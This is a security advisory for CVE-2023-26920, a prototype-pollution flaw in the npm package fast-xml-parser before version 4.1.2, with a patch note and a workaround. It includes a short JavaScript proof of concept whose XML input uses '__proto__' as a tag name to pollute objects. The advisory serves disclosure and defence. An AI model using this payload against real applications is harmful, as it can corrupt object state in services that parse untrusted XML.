GHSA-x3cc-x39p-42qxMediumCVSS 6.5

fast-xml-parser vulnerable to Prototype Pollution through tag or attribute name

Published
June 13, 2023
Last Modified
December 14, 2023

🔗 CVE IDs covered (1)

CVE-2023-26920 →

📋 Description

Impact

As a part of this vulnerability, user was able to se code using __proto__ as a tag or attribute name.

const { XMLParser, XMLBuilder, XMLValidator} = require("fast-xml-parser");

let XMLdata = "<__proto__><polluted>hacked</polluted></__proto__>"

const parser = new XMLParser();
let jObj = parser.parse(XMLdata);

console.log(jObj.polluted) // should return hacked

Patches

The problem has been patched in v4.1.2

Workarounds

User can check for "proto" in the XML string before parsing it to the parser.

References

https://gist.github.com/Sudistark/a5a45bd0804d522a1392cb5023aa7ef7

🎯 Affected products1

  • npm/fast-xml-parser:< 4.1.2

🔗 References (6)